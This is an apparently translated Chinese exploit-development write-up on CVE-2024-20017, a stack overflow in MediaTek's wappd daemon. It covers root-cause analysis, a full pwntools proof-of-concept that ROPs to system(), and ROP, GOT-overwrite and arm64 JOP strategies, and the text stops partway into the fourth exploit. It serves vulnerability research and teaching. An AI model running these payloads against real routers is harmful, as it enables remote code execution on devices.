-
[介绍] -
[背景] -
[利用1: 通过损坏的返回地址进行RIP劫持,ROP到system()] -
[利用2: 通过指针损坏进行任意写入,GOT覆盖] -
[利用3: 返回地址损坏 + 通过ROP进行任意写入(完全RELRO)] -
[利用4: WAX206返回地址损坏 + 通过指针损坏进行任意读/写] -
[额外内容: 通过JOP执行任意IOCTL调用触发内核漏洞] -
[总结] -
[参考文献]
介绍
好了,我们来了。这篇文章本来打算在今年三月完成,以配合我要写的关于CVE-2024-20017漏洞的发布。不幸的是,这也恰逢我搬家、开始新工作并在新工作中变得非常忙碌,因此我们现在已经快六个月过去了。这篇文章可能会是我写的最长的一篇,所以请做好准备。
去年年底,我在wappd
中发现并报告了一个漏洞,wappd
是MediaTek MT7622/MT7915 SDK和RTxxxx SoftAP驱动程序包中的一个网络守护进程。这款芯片组通常用于支持Wifi6(802.11ax)的嵌入式平台,包括Ubiquiti、小米和Netgear设备。正如我发现的其他一些漏洞一样,我最初是在检查一个嵌入式设备——Netgear WAX206无线路由器时发现了这段代码。wappd
服务主要用于使用Hotspot 2.0和相关技术配置和协调无线接口和接入点的操作。该应用程序的结构有点复杂,但它本质上由这个网络服务、一组与设备上的无线接口交互的本地服务,以及使用Unix域套接字在各种组件之间通信的通道组成。
-
受影响的芯片组: MT6890, MT7915, MT7916, MT7981, MT7986, MT7622 -
受影响的软件: SDK版本7.4.0.1及之前版本(适用于MT7915)/ SDK版本7.6.7.0及之前版本(适用于MT7916, MT7981和MT7986)/ OpenWrt 19.07, 21.02
这个漏洞是由于一个复制操作使用了直接从攻击者控制的包数据中获取的长度值且未进行边界检查,导致的缓冲区溢出。总的来说,这是一个很容易理解的漏洞,因为它只是一个普通的栈缓冲区溢出,所以我决定以这个漏洞为案例,探索在不同的漏洞利用缓解措施和条件下,如何利用这个单一漏洞的多种利用策略。我认为这很有趣,因为它提供了一个专注于漏洞利用开发中更具创造性部分的机会:一旦你知道存在漏洞,并且理解了约束条件,你就可以想出所有不同的方法来影响应用程序的逻辑和漏洞的效果,以获得代码执行和弹出一个shell。
这篇文章将介绍针对这个漏洞的4种利用方式,从最简单的版本(没有栈金丝雀、没有ASLR、损坏的返回地址)到针对Netgear WAX206上提供的wappd
二进制文件编写的漏洞利用,其中启用了多种缓解措施,并且我们从x86-64转向arm64。漏洞利用的代码可以在这里找到;它有很多注释,以帮助更清晰地理解。在阅读这篇文章时查看这些代码可能会有帮助,因此我在每个部分的开始都包含了相关漏洞利用的链接。
注意:下面讨论的前3个漏洞利用是针对我自己在x86_64机器上编译的wappd版本编写的,并且进行了少量修改(不同的缓解措施集,禁用分叉行为,编译器优化)。
背景
发现过程
这个漏洞是通过一个名为fuzzotron的基于网络的模糊测试工具发现的,这是我第一次尝试这个工具。可以查看Github页面了解更多信息,但简而言之,它可以使用radamsa
或blab
进行测试用例生成,并提供了一种快速模糊测试网络服务的方式,几乎没有开销。在这个目标的情况下,我使用radamsa
进行变异,并手动使用Python生成了一个初始语料库,定义了预期的包数据结构并将其写入磁盘。我还对wapp
守护进程代码进行了一个小修改,以便它在收到最后一个包时立即将其保存到磁盘,以确保崩溃案例可以被保存以供分析。
根本原因分析
漏洞发生在IAPP_RcvHandlerSSB()
中,由于在调用IAPP_MEM_MOVE()
(NdisMoveMemory()
的一个包装器)之前没有对攻击者控制的值进行边界检查,从而将数据复制到一个167字节的栈分配结构中。
在IAPP_RcvHandlerUdp()
或IAPP_RcvHandlerTcp()
中分别从UDP或TCP套接字读取数据后,原始数据被转换为struct IappHdr
,并检查command
字段;如果这个字段是命令50
,则会进入IAPP_RcvHandlerSSB()
函数并传递一个指向从套接字接收的原始数据的指针。在IAPP_RcvHandlerSSB()
中,数据被转换为struct RT_IAPP_SEND_SECURITY_BLOCK *
并分配给指针pSendSB
;随后访问pSendSB->Length
并用它来计算附加到结构的数据显示的长度。在从转换后的结构指针中将有效载荷数据复制到作为参数传递的pCmdBuf
指针后,最后使用攻击者控制的Length
字段的值调用宏IAPP_MEM_MOVE()
(代码片段的最后一行)将数据从pSendSB->SB
缓冲区字段写入在函数开始时声明的kdp_info
结构。在此调用之前,对该值的唯一边界检查是检查它是否不超过1600字节的最大数据包长度。由于目标kdp_info
结构的大小只有167字节,这导致了多达1433字节的攻击者控制的数据的栈缓冲区溢出。
下面显示的是IAPP_RcvHandlerSSB()
中的漏洞代码片段:
pSendSB = (RT_IAPP_SEND_SECURITY_BLOCK *) pPktBuf;
BufLen = sizeof(OID_REQ);
pSendSB->Length = NTOH_S(pSendSB->Length);
BufLen += FT_IP_ADDRESS_SIZE + IAPP_SB_INIT_VEC_SIZE + pSendSB->Length;
IAPP_CMD_BUF_ALLOCATE(pCmdBuf, pBufMsg, BufLen);
if (pBufMsg == NULL)
return;
/* End of if */
/* command to notify that a Key Req is received */
DBGPRINT(RT_DEBUG_TRACE, "iapp> IAPP_RcvHandlerSSBn");
OidReq = (POID_REQ) pBufMsg;
OidReq->OID = (RT_SET_FT_KEY_REQ | OID_GET_SET_TOGGLE);
/* peer IP address */
IAPP_MEM_MOVE(OidReq->Buf, &PeerIP, FT_IP_ADDRESS_SIZE);
/* nonce & security block */
IAPP_MEM_MOVE(OidReq->Buf+FT_IP_ADDRESS_SIZE,
pSendSB->InitVec, IAPP_SB_INIT_VEC_SIZE);
IAPP_MEM_MOVE(OidReq->Buf+FT_IP_ADDRESS_SIZE+IAPP_SB_INIT_VEC_SIZE,
pSendSB->SB, pSendSB->Length);
// BUG: overflow occurs here
IAPP_MEM_MOVE(&kdp_info, pSendSB->SB, pSendSB->Length);
从源到汇的代码流程
从输入到易受攻击函数的代码流程如下:
-
IAPP_Start()
启动调用IAPP_RcvHandler()
的主处理循环 -
IAPP_RcvHandler()
调用select()
来查找已准备好的套接字,并为每个已准备好的套接字调用相应的协议处理函数 -
假设数据包是通过UDP接收的, IAPP_RcvHandler()
将调用IAPP_RcvHandlerUdp()
,传递一个指针pPktBuf
用于存储接收到的数据 -
IAPP_RcvHandler()
调用recvfrom()
从UDP套接字读取数据,假设数据成功读取,将数据转换为struct IappHdr
并检查command
字段;如果值为0x50
,则调用IAPP_RcvHandlerSSB()
来处理请求 -
IAPP_RcvHandlerSSB()
将按上述描述使用原始数据包数据,在调用IAPP_MEM_MOVE
(NdisMoveMemory()
的包装器)时使用嵌入在数据包中的RT_IAPP_SEND_SECURITY_BLOCK
结构的Length
字段,这将从数据包数据的偏移处写入到栈分配的结构kdp_info
。此时发生溢出。
注入点概述
在详细探讨利用细节之前,我们先来回顾一下发生损坏的注入点、预期的有效载荷格式以及存在的约束条件。
应用程序从UDP套接字读取的最大大小为1600字节,因此这是我们可以发送的有效载荷的最大大小。考虑到必须存在于有效载荷中以到达易受攻击代码的部分,这使得我们可以用来破坏其他数据的大约为1430字节。RT_IAPP_HEADER
和 RT_IAPP_SEND_SECURITY_BLOCK
结构的定义如下所示。前者嵌入在后者中,这表示请求期望到达的格式;应用程序将直接将从套接字读取的数据转换为这些类型。
/* 帧体中的 IAPP 头,6B */
typedef struct PACKED _RT_IAPP_HEADER {
UCHAR Version; /* 表示 IAPP 的协议版本 */
UCHAR Command; /* ADD-notify、MOVE-notify 等 */
UINT16 Identifier; /* 帮助匹配请求和响应 */
UINT16 Length; /* 表示整个数据包的长度 */
} RT_IAPP_HEADER;
typedef struct PACKED _RT_IAPP_SEND_SECURITY_BLOCK {
RT_IAPP_HEADER IappHeader;
UCHAR InitVec[8];
UINT16 Length;
UCHAR SB[0];
} RT_IAPP_SEND_SECURITY_BLOCK;
RT_IAPP_SEND_SECURITY_BLOCK
的主要有效载荷部分位于 SB[]
字段中;数据直接附加到该结构的尾部,并且该有效载荷的大小应存储在该结构的 Length
字段中。为了通过其他验证检查,IappHeader
结构的 Length
字段应保持较小;在我的有效载荷中,我使用 0x60
的大小。最后,RT_IAPP_HEADER.Command
字段必须设置为 50
才能到达易受攻击的处理程序 IAPP_RcvHandlerSSB
。
除了这些基本约束/要求外,没有其他问题需要解决,如避免空字节或其他受限值。
利用1:通过损坏的返回地址劫持RIP,ROP到 system()
-
构建:不分叉,无优化 -
缓解措施:NX
我们首先从最简单的路径开始,以实现代码执行,假设没有启用任何利用缓解措施(除了不可执行堆栈)。这意味着地址是可预测的,并且不需要泄漏。
此利用是经典的RIP劫持,使用栈溢出来破坏保存的返回地址并重定向执行。这几乎是最简单的:溢出栈,将溢出对齐以损坏保存的返回地址并跳转到所需的地址,然后等待函数返回并使用损坏的值。你跳转到哪里以及如何利用它来获得更多的控制权是一个空白画布(大部分情况下)。在此利用中,我们通过使用损坏来跳转到一个ROP小工具,该小工具将指向包含要运行的命令的字符串的指针弹出到正确的寄存器中,然后调用 system()
以执行该命令。由于没有启用ASLR,我们假设已知 system()
的地址和靠近我们有效载荷数据所在的栈地址。
#!/usr/bin/env python3
from pwn import *
context.log_level = 'error'
TARGET_IP = "127.0.0.1"
TARGET_PORT = 3517
PAD_BYTE = b"x22"
# this is addr on the stack close to where our paylaod data is
WRITEABLE_STACK = 0x7fffffff0d70
# Addresses
SYSTEM_ADDR = 0x7ffff7c50d70
EXIT_ADDR = 0x7ffff7c455f0
TARGET_RBP_ADDR = 0x5555555555555555 # doesn't matter
GADGET_2 = 0x42bf72 # pop rdi ; pop rbp ; ret
# NOTE: tweak `stack_offset` if env changes and exploit isn't finding command string; +/- 0x10-0x40
# should usually do it.
def create(stack_offset=0x1b0):
# iapp header
header = p8(0) # version
header += p8(50) # command
header += p16(0) # ident
header += p16(0x60) # length
# SSB struct frame
ssb_pkt = p8(55) * 8 # char buf[8], InitVec
ssb_pkt += p16(0x150, endian='big') # u16 Length
# Main payload
final_pkt = header + ssb_pkt
final_pkt += PAD_BYTE * 176
final_pkt += p64(WRITEABLE_STACK)
final_pkt += PAD_BYTE * 16
final_pkt += p64(WRITEABLE_STACK)
# RBP OVERWRITE
final_pkt += p64(TARGET_RBP_ADDR)
# Core Exploit
# this will be the first place execution will be redirected; will load the next value into $rdi
final_pkt += p64(GADGET_2)
# pointer to the command string defined a few lines down
final_pkt += p64(WRITEABLE_STACK - stack_offset)
final_pkt += PAD_BYTE * 8
# address to system to jump to for code exec
final_pkt += p64(SYSTEM_ADDR)
# address to exit() cleanly upon return
final_pkt += p64(EXIT_ADDR)
# command to run through system()
final_pkt += b"echo LETSGO!!!x00"
return final_pkt
# send payload bytes to target
final_pkt = create()
conn = remote(TARGET_IP, TARGET_PORT, typ='udp')
conn.send(final_pkt)
context.log_level = 'info'
log.info(f"sent payload to target {TARGET_IP}:{TARGET_PORT} ({len(final_pkt)} bytes)")
成功运行后,iappd守护进程的输出将显示对bash的调用失败,然后打印字符串“LETSGO!!!”,表明成功执行了 echo
,然后干净地退出。
(不)幸的是,现在几乎可以保证在嵌入式平台上使用栈保护和ASLR,这将防止这种简单的利用。在这种情况下,你需要一个信息泄漏来(希望)泄漏cookie值,或者你只能转向其他不依赖于破坏保存的返回地址的技术。
漏洞利用 2:通过指针破坏进行任意写入,覆盖GOT
-
构建:x86_64,不分叉,无优化 -
缓解措施:ASLR,栈保护,NX,部分RELRO -
漏洞利用代码
继续前一节的内容,假设至少启用了栈保护和ASLR,以上的漏洞利用不再可行。由于我们没有信息泄露,让我们将注意力从破坏栈上的保存返回地址转移到考虑在到达栈保护之前可以通过我们能够造成的破坏来实现什么。
如你所知,函数的局部变量存储在该函数的栈帧中,紧靠保存的返回地址和基指针地址的前面。位于溢出缓冲区末尾和前一个栈帧开始之间的变量将被溢出破坏。根据在破坏内存后执行的代码如何使用这些值,可能可以利用这种破坏的效果来实现进一步的控制。
以下是漏洞函数 IAPP_RcvHandlerSSB()
中声明的局部变量:
RT_IAPP_SEND_SECURITY_BLOCK *pSendSB;
UCHAR *pBufMsg;
UINT32 BufLen, if_idx;
POID_REQ OidReq;
FT_KDP_EVT_KEY_ELM kdp_info;
kdp_info
结构体将因漏洞而被溢出,其前面声明的所有变量都可能被破坏。在这种情况下,指针特别值得注意,因为如果我们改变指针的指向,应用程序使用该指针执行的任何赋值或写入操作都将导致数据写入我们选择的任意地址。
在这种情况下,只有几行代码在触发 IAPP_MEM_MOVE()
调用后的破坏后使用这些变量。这些代码在下面的代码片段中显示:
IAPP_HEX_DUMP("kdp_info.MacAddr", kdp_info.MacAddr, ETH_ALEN);
if_idx = mt_iapp_find_ifidx_by_sta_mac(&pCtrlBK->SelfFtStaTable, kdp_info.MacAddr);
if (if_idx < 0) {
DBGPRINT(RT_DEBUG_TRACE, "iapp> %s: cannot find wifi interfacen", __FUNCTION__);
return;
}
OidReq->Len = BufLen - sizeof(OID_REQ);
IAPP_MsgProcess(pCtrlBK, IAPP_SET_OID_REQ, pBufMsg, BufLen, if_idx);
其中最有趣的是使用 BufLen
中的值对 OidReq->Len
进行赋值:前者是我们可以破坏的指针的解引用(OidReq
),后者是我们也可以控制的int32值(BufLen
)。换句话说,我们控制了赋值表达式的两边,可以将任意4字节值写入任意地址。
那么我们可以利用这种原语实现什么呢?在这一点上有多种策略可能奏效,而这正是漏洞开发中的创造力所在。如果我们的最终目标是执行 system()
以执行shell命令,我们通常需要执行以下操作:
-
将我们想要执行的命令字符串放入内存中的一个已知地址 -
将指向该字符串的指针放入适当的寄存器中,以便作为 system()
的第一个参数传递(即放入x86_64架构的rdi
中) -
重定向执行到 system()
上面链接的漏洞利用应用了这个概念,通过破坏 OidReq
指针并使用4字节写入原语将shell负载迭代写入GOT的一个段中(1);由于二进制文件构建时没有启用PIE且仅部分启用了RELRO,GOT始终在一个可预测的地址且是可写的,因此我们可以将其用作负载的缓冲区。唯一的约束是我们必须避免覆盖将在执行路径上调用的函数的GOT条目,因为这会导致在漏洞利用完成之前发生崩溃。该漏洞利用发送多个破坏负载来写入shell命令,每次请求通过+4字节调整破坏的 OidReq
指针,将4字节写入转变为任意写入。然后漏洞利用使用4字节写入来破坏 read()
的GOT条目,使用ROP gadget的地址来启动ROP链以调整栈,在$rdi
中弹出GOT中的shell负载地址(2),然后跳转到 IAPP_PID_Kill()
中的 system()
调用以执行shell负载(3)。选择 read()
作为被破坏的GOT条目是因为它不在漏洞代码的执行路径上,我们可以通过TCP发送请求按需触发它,因为TCP连接的处理程序使用 read()
而不是 recvfrom()
;所有早期的负载都通过UDP发送。
这种漏洞利用的一个重要之处在于执行的重定向是异步的——它只在我们发送最终的TCP请求触发被破坏的 read()
GOT条目时发生,这意味着我们的控制数据并不在栈顶,TCP包中的数据实际上从未被读取(因为 read()
已经被破坏)。这是一个问题,因为我们需要在第一个ROP gadget返回后在栈顶拥有控制的值,以便我们可以继续控制执行。在这种情况下,我们有点运气——我们能够找到早期请求中发送的一些负载数据,它们位于栈帧顶部下方约40字节处(函数/用途之间的栈不会被清除),因此我们可以通过在执行其他操作之前从栈中弹出5个值来访问这些负载数据。
这种漏洞利用完全避免了破坏栈,因此栈保护没有发挥作用。它还只利用了可预测的地址和ROP来避免与ASLR打交道,因此不需要泄漏。
漏洞利用 3:返回地址破坏 + 通过ROP实现任意写入(完全RELRO)
-
构建:x86_64,优化级别2,分叉守护进程 -
缓解措施:ASLR,完全RELRO,NX -
漏洞利用代码
上一个漏洞利用通过使用指针破坏获得了任意写入原语,从而绕过了栈保护和ASLR,这对于允许我们将控制的值写入GOT是必要的,以便我们知道该数据的地址以便在后续的漏洞利用中使用。但如果没有附近的指针供我们破坏以获得任意写入怎么办?事实证明,如果应用程序的优化级别设置为2(-O2
),那么沿着漏洞代码执行路径的各种函数会内联到一个大函数中,在IAPP_RcvHandler()
的范围内运行,从而导致栈布局和变量顺序的变化。这最终使得破坏我们之前依赖的 OidReq
指针变得不可能,因此必须找到另一种方法。
由于我们失去了之前利用的任意写入原语,我们将在此版本中禁用栈保护,以提供一个代码重定向原语作为起点(我们需要有某种起点)。这个例子旨在展示一种从代码执行原语获取任意写入原语的方法,因为仅仅能够重定向执行通常是不够的,因此拥有两者将使事情变得更加容易。为了使事情更具挑战性,我们将启用完全RELRO,使得GOT和PLT部分不再可写。
通过ROP实现任意写入
鉴于新的限制条件,我们首先需要做的是找到一种方法来获得任意写入的原语,以便我们能够将我们的命令有效载荷写入一个可预测的地址。由于我们可以影响执行流程,我们最好的选择是使用ROP来实现这一点。与任何依赖ROP的漏洞利用一样,存在一定的运气成分,因为你的漏洞利用所针对的二进制文件需要包含所需的ROP gadgets,而这些gadgets必须在主可执行文件中(共享库会受到ASLR的影响)。
如果我们考虑以前的读/写原语是如何工作的,会发现有一个指针值被解引用,并且一个值被分配(即写入)到它指向的内存中。这在汇编中可能看起来像这样:
mov rax, [rsp+0x30]; # 从某个地址读取一个值到$rax
mov [rax], rbx; # 将$rbx的值写入$rax所指向的地址(将$rax解引用为指针)
因此,如果我们能找到一个(或多个)gadget来允许我们执行这种操作,并且我们可以控制操作中使用的值,那么我们应该能够获得任意写入的原语。事实证明,运气站在我们这边!下面的gadget(GADGET_A
)可用:
GADGET_A
-
0x405574
: -
mov rdx, QWORD PTR [rsp+0x50];
: 从$rsp+0x50
(堆栈顶部+80)读取一个值到$rdx
-
mov QWORD PTR [rdx], rax
: 将$rdx
解引用为指针,并将$rax
中的值写入该位置 -
xor eax, eax;
: 将$rax
的低32位清零 -
add rsp; 0x48
: 将堆栈指针上移0x48
字节 -
ret;
: 返回
太好了!这几乎满足了我们的需求。但首先,我们需要找到一种方法将受控的值放入$rax
,因为这将是写入到$rdx
指向地址的值。为此,我们需要找到一个gadget,它能从堆栈中取一个值并将其放入$rax
,和之前一样。这通常很容易,因为pop
操作经常发生,并且至少有一个会弹出到$rax
。这是我为这个漏洞选择的gadget(GADGET_B
):
GADGET_B
-
0x0042acd8: pop rax; add rsp, 0x18; pop rbx; pop rbp; ret;
-
pop rax;
: 将堆栈顶部的值弹出到$rax
-
add rsp, 0x18;
: 将$rsp
增加0x18 (24)
字节;需要+24字节的填充来考虑此操作 -
pop rbx; pop rbp;
: 将堆栈顶部的下两个值分别弹出到$rbx
和$rbp
;需要+16字节的填充来考虑此操作 -
ret;
: 返回
将第二个gadget与第一个gadget链接起来可以满足我们的所有需求!现在我们可以将任意8字节的值写入任意地址,前提是我们在执行被重定向时控制堆栈顶部的值(由于我们破坏了保存的返回地址,它位于堆栈顶部,我们将能够做到这一点)。以下是这个链的payload示例,包括考虑到修改堆栈指针的指令所需的填充。
GADGET_B
value_to_write ; 弹出到rax
padding[40] ; 考虑到两个弹出操作和rsp向上移动0x18
GADGET_A ; 从GADGET_B的ret返回后跳转的值;将rsp+50的值读入rdx
padding[72] ; 考虑到rsp向上移动0x48
<next_jump_addr> ; 从GADGET_A的ret返回后跳转的地址
addr_to_write_to ; 在GADGET_A的开始将值读入$rdx的地址
类似于前一个漏洞利用,这个ROP链可以多次插入以在目标地址开始写入超过8字节的内容,但为了做到这一点,还需要一个gadget来处理GADGET_A
与堆栈交互时的一个小细节。
我们上面讨论的第一个gadget(GADGET_A
)会将$rsp+0x50
处的值弹入$rdx
,因此我们的payload需要将我们想要写入的地址放在距离此gadget在payload中位置+0x50字节的偏移处。然后它将堆栈指针向上移动+0x48
,使得堆栈指针指向我们用作写入目标的值的正前方。这意味着下一个gadget的地址需要放在+0x48
处,以便在ret
到达时被使用;如果我们想进行另一次写入,这将是GADGET_B
的地址,而这就是问题所在。跳转到GADGET_B
后,它会从堆栈顶部([$rsp]
)弹出下一个值到$rax
,但由于GADGET_A
将堆栈指针移动了+0x48
,当GADGET_A
的ret
到达时,$rsp
的值会增加8并指向+0x50
的偏移量(我们传递为写入目标的值),而这就是GADGET_B
最终会弹出到$rax
的值。这不是我们想要的,但幸运的是,有一个简单的方法可以解决这个问题:在第一次链条结束时,我们不是直接跳转到GADGET_B
,而是跳转到另一个gadget,该gadget会从堆栈中弹出一个值(从而将$rsp
增量到+0x58
),并且我们会将GADGET_B
的地址放在那里,这样当这个gadget返回时我们就跳转到它。
所以,考虑到这一点,这就是GADGET_B+GADGET_A
子链(?)将如何多次链接:
>GADGET_B
value_to_write ; 弹出到rax
padding[40] ; 考虑到两个弹出操作和rsp向上移动0x18
>GADGET_A ; 从GADGET_B的ret返回后跳转的值;将rsp+50的值读入rdx
padding[72] ; 考虑到rsp向上移动0x48
>POP_RET_GADGET ; 从GADGET_A的ret返回后跳转的地址;pop-ret,因此GADGET_B 8字节处是下一个ret地址,而不是addr_to_write_to
addr_to_write_to ; 在GADGET_A的开始将值读入$rdx的地址;
--
>GADGET_B
value_to_write ; 弹出到rax
padding[40] ; 考虑到两个弹出操作和rsp向上移动0x18
>GADGET_A ; 从GADGET_B的ret返回后跳转的值;将rsp+50的值读入rdx
padding[72] ; 考虑到rsp向上移动0x48
>POP_RET_GADGET ; 从GADGET_A的ret返回后跳转的地址;pop-ret,因此GADGET_B 8字节处是下一个ret地址,而不是addr_to_write_to
addr_to_write_to ; 在GADGET_A的开始将值读入$rdx的地址
--
...
--
>GADGET_B
value_to_write
padding[40]
>GADGET_A
padding[72]
>FINAL_JUMP_DEST ; 任意写入完成后跳转的地址
addr_to_write_to
如果最后这部分难以理解,不用担心(写这部分也很难)。重要的是,在链接多个链实例时,我们不是直接跳转回GADGET_B
,而是跳转到一个从堆栈中弹出一个值然后返回跳转到GADGET_B
的gadget。这是为了确保在链条的多次迭代之间,payload中的值得到了适当的调整。
处理完整的RELRO
在获得我们需要的写入原语后,我们可以使用与前一个漏洞利用相同的策略,将shell有效载荷写入可预测的地址,但有一点小的修改。由于完整的RELRO,我们不能再写入GOT或PLT段,因此我们改为将传递给system()
的shell命令写入
唯一剩余的可写段中,这些段具有静态/可预测的地址(假设没有PIE)——即.bss和.data段。一旦完成,我们的漏洞利用会跳转到一个最终的ROP链,该链将我们写入命令的地址放入$rdi
并通过GOT符号跳转到system()
,因此我们不需要泄漏libc地址。
我们获得了命令执行权限,并用它来启动一个反向shell。
漏洞利用4:WAX206返回地址破坏+通过指针破坏实现任意读/写
-
构建:aarch64,搭载Netgear WAX206的构建版本 -
缓解措施:完整的RELRO,ASLR,NX,堆栈金丝雀* -
漏洞利用代码
我们到了最后的漏洞利用!这次我们将有所变化,转向一个真实世界的目标:在Netgear WAX206上搭载的wappd版本。这个版本是为aarch64编译的,并启用了ASLR、NX、完整的RELRO和堆栈金丝雀。我认为它提供了一些宝贵的见解,展示了在受控环境中编写漏洞利用与针对现实世界目标编写漏洞利用之间的区别——在重要方面经常发生变化,迫使你适应。
故事背景
为了更好地提供一些背景信息,我将会在这一部分切换到叙事格式,通过讲述我如何弄清楚整个过程来提供一些上下文。这次的漏洞利用过程有些挑战,我认为用故事的形式来讲述这个过程是最好的方式。之后我们将切换回之前章节所使用的风格。
免责声明:这是我第一次为一个arm64目标编写这种类型的漏洞利用,我在此过程中学习了很多内容。因此,你应对以下细节保持一定的怀疑态度,因为这是我目前对如何/为什么某些事情以某种方式工作的理解,但它们可能并不是100%准确的。如果你发现任何错误,请告诉我!
重要的变化
我将从介绍这个目标和之前目标之间的一些重要差异开始,并讨论这些差异如何最终影响了最终的漏洞利用。
第一个重大变化是二进制文件中代码优化和内联方式的不同。无论这是不同编译器版本、架构差异还是其他原因造成的,我最终并不确定。但结果是堆栈变量的布局发生了变化,之前被利用的OidReq
指针已不再可行,类似于漏洞利用3。所以,这意味着一开始并没有任意写的原语。那么代码重定向的原语(前一个漏洞利用依赖于此来获得写原语)又如何呢?
接下来是另一个重要的差异:arm64处理函数返回的方式。在arm64中,返回地址通常被期望在x30
寄存器中,只有在需要覆盖的嵌套函数调用中才会将其推到堆栈上。我通过附加GDB调试进程并看到目标跳转地址正确放置在堆栈上以供下一次返回使用……然后看到当函数执行到最后的ret
并使用x30
中的值而不触及堆栈时,它完全被忽略了。这种内联导致了沿着漏洞代码路径的各种函数调用内联到一个巨大的函数中,几乎消除了所有机会去破坏堆栈上将在ret
中使用的返回地址(内联函数不会ret
)。最重要的是,唯一一个具有可被破坏并且实际会使用的保存返回地址的堆栈帧是主请求处理循环的——该循环会无限运行,除非捕获到SIGTERM信号(我们稍后会回到这一点)。每个变化及其对最终漏洞利用的影响都有大量细微差别,但总结起来,这意味着需要重新开始,提出一个新的漏洞利用策略。
唯一的好消息是,尽管checksec
报告二进制文件启用了堆栈金丝雀,但在Binja中分析显示,编译器插入的cookie检查逻辑仅存在于两个函数中,这些函数来自一个外部库。这意味着我实际上根本不必担心堆栈cookie!可惜的是,鉴于上一段描述的情况,破坏保存的返回地址似乎已经不可行……
通过pPktBuf指针破坏实现任意写入
基于我之前处理漏洞利用的方法,我认为一定有办法破坏某处的指针,所以我首先着手解决这个问题。在WAX206上进行一些现场调试并测试了不同的有效负载后,我最终发现我可以覆盖在IAPP_RcvHandler()
中定义的三个指针:pPktBuf
、pCmdBuf
和pRspBuf
。其中第一个,pPktBuf
,指向用于存储从网络读取的入站请求数据的缓冲区——破坏这个指针可以让我们将其指向任意位置,然后将后续请求的全部内容(最多1600字节)写入该位置。太棒了!
有趣的是,正是上述的内联和arm64语义的效果使得这些指针能够被触及——在正常情况下,写入足够远以到达它们会导致破坏IAPP_RcvHandlerSSB()
和IAPP_RcvHandlerUdp()
的堆栈帧,并在再次使用破坏的指针之前导致提前崩溃。在这种情况下,IAPP_RcvHandlerUdp()
被直接内联到IAPP_RcvHandler()
中(因此没有使用返回地址),而IAPP_RcvHandlerSSB()
能够在不必将其返回地址值推入堆栈的情况下完成其执行,从而避免了指针被破坏。
所以,我现在拥有一个可以写入最多1600字节到可控位置的写原语。这应该足够完成任务了,对吗?
当任意写入不够时
当起点只是一个任意写入时,哪些漏洞利用策略可以实现代码执行?考虑到存在的缓解措施(即ASLR)并假设没有泄露可用,在这种情况下实际上只有一个选项:破坏一些位于可预测/已知地址的数据,这将导致代码直接执行(例如覆盖一个函数指针)或创建条件,导致可以利用的额外破坏来控制执行。所以,我们回到了漏洞利用2中讨论的概念:找到可以被破坏并且应用程序会以某种可以被利用的方式使用的数据。
我将省去你可能经历的每条我追逐的路径的时间(和挫折)并直接告诉你:没有任何结果。虽然有多个填充了函数指针的全局结构,但它们在请求处理循环中都没有被使用。其他数据结构中可行的目标的部分数据段也没有被使用。完整的RELRO意味着破坏GOT/PLT条目也是行不通的。这里的主要观点是:有时,即使是任意写入原语也不足以获得代码执行。我认为在漏洞利用开发过程中始终关注每一个线索并尝试每一个可能的角度是个好主意,但现实是,有时确实没有任何办法。在一种环境中可利用的有效漏洞并不总是在另一种环境中可利用;一切都很重要。这就是为什么我也遵循“exploit or GTFO”的格言——除非使用真实的漏洞在真实目标上显示了影响,否则很难说出漏洞在现实世界中的影响。
接受失败:漏洞利用只能在终止时工作
正如在重要变化部分中提到的,存在一个可被破坏的返回地址:IAPP_RcvHandler()
的返回地址。问题在于,该函数仅在进程终止时返回,当接收到并处理了SIGTERM时才会返回。我最初忽略了这一点,因为作为远程攻击者没有办法强制终止这个进程,但在找不到其他执行原语的情况下,我不得不接受失败,并决定编写一个假设进程会终止并命中破坏的返回地址的漏洞利用。如果我在这里停止,这篇文章的结尾将非常平淡无奇,对吧?
最终漏洞利用概述
在介绍了最终导致最终漏洞利用的重要部分后,我们现在将切换回当前的时间点,并讨论漏洞利用的工作原理。考虑到这篇文章已经很长,我将避免详细介绍最终漏洞利用的每个细节,而是专注于我认为最有趣或重要的部分(如果你有任何后续问题,请随时在推特上联系我)。这一部分重复使用了前面讨论过的一些概念,包括使用指针破坏获得写原语,使用.bss/.data段作为主有效负载的缓冲区,以及利用ROP(在本例中是技术上的JOP)来设置调用system()
以获得命令执行的参数。
总结我们目前的起点:
-
我们通过破坏 pPktBuf
指针获得了最多1600字节的任意写入原语 -
我们可以通过破坏 IAPP_RcvHandler()
堆栈帧中保存的返回地址来重定向代码执行(但这仅在进程接收到SIGTERM信号时才会触发)
漏洞利用分为两个请求:一个破坏pPktBuf
指针以设置写原语,另一个使用写原语将shell payload和其他数据写入已知的内存区域以供后续使用。
第一个请求非常简单,因为只需要发送一个足够大的有效负载,溢出至pPktBuf
指针并使其指向内存中的.bss段的起始位置。由于此指针用于存储传入的请求数据,因此我们发送的下一个请求的内容将被写入该地址。除了破坏此指针外,第一个有效负载还破坏了pCmdBuf
指针,该指针用于存储从我们发送的数据包中解析出的数据。因此,pCmdBuf
需要指向一个可写段的内存以避免崩溃或提前中止,所以我们将其重写为也指向.bss中的一个偏移位置,但距离足够远以确保不会影响第二个请求中发送的payload。
第二个请求是实际操作的关键。在第一个请求设置写入原语后,新的payload需要完成以下任务:
-
将我们的shell命令写入到可以在调用 system()
时引用的位置 -
破坏保存的返回地址,以重定向代码执行到用于设置 system()
参数的ROP gadget -
将 x24
中的值移到x0
中(x0
用于传递给被调用函数的第一个参数) -
跳转到 x22
中的值 -
ROP/JOP gadget执行: -
提供 system()
的地址和第一步中写入的shell命令的地址,以便它们可以被ROP gadget使用。这些值将在使用损坏的返回地址并跳转到ROP gadget时加载到寄存器中。 -
shell命令字符串写入的位置地址 -> 加载到x0中 -
system().plt
的地址 -> 加载到x22中 -
破坏 pPktBuf
、pCmdBuf
和pRspBuf
指针,将它们设置为NULL,以避免在IAPP_RcvHandler()
终止期间这些指针被free时触发libc的malloc安全检查 -
在设置好参数(即第一步中写入的shell命令的地址)后重定向执行到 system()
前两步相对简单。我们将要执行的shell命令直接写在payload的开头;由于我们已经将pPktBuf
损坏并指向一个已知位置,而这就是第二个payload将要写入的位置,所以我们可以预测这个字符串将位于何处。在这种情况下,由于pPktBuf
已经设置为.bss段的起始位置,命令字符串将位于.bss段的16字节处(以考虑到数据包头和SB数据包结构的其他字段)。对于第二步,我们知道溢出的位置,即IAPP_RcvHandler()
的保存返回地址的位置,因此我们只需将这个位置覆盖为我们将用于设置参数并重定向执行到system()
的ROP gadget的地址。
